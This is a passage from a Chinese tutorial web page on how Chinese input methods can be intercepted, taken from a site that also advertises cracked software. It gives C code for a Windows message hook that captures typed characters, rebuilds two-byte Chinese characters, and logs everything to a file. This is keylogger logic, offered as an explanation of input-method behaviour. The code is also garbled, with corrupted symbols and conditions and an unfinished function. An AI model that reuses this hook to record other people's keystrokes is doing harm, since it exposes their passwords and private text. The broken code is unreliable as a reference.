免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 中文输入截汉字原理探究(2)

中文输入截汉字原理探究(2)

时间:2012-04-15 16:10来源:未知 整理:寂涯网络 点击:


FILE * fp;
char szKey[80]={0};
fp=fopen Cc: \\Key. txt〃, 〃a+〃);
if (wParam==PM_REMOVE)//该消息尚未从队列中删除。
{
if(nCode==HC_ACTION)
{
if(pcw->message==WM_CHAR)
{ _
if (pcw->wParam<127) //英文
{
szKey[0]=(TCHAR)(pcw->wParam); fwrite(szKey, sizeof(szKey), 1, fp); fputs(〃\r\n〃, fp); fclose(fp);
}
else //中文
{//这里需要注意了,汉字占两个字节,而钩子一次只能截一个字节, 所以//如果是中文,需要先把第一次的记录存下来,第二次再次截获后拼接起来,并且 顺序是颠//倒的
if ((打&8%2)==0)//判断为第一次
{
temp=(pcw->wParam);
}
if ((打&8%2)==1)//判断为第二次
{
fputc(pcw->wParam, fp) ;//保存第二次的 fputc (temp, fp) ;//再保存第一次的 fclose(fp);
flag++;
这就是完整的钩子子程,经过多次实践,需要将后截获的编码作为高字节,先截获的作为低字节,这样才能还原这个汉字。
此外平时我们看见的输入法连打,有时能输入一个词有时能输入一句话,其实是输入法 本身做的一些手脚,其实处理的时候仍然是分解成单个字进行处理,所以我们的程序仍然能够正常截获。
好了到此我们的原理,目的都说清楚了,笔者旨在阐明输入法的处理原理,所以附带程序的健壮性有待考究,如有错误,欢迎指正。

本页地址 http://www.jybase.net/biancheng/20120415826.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com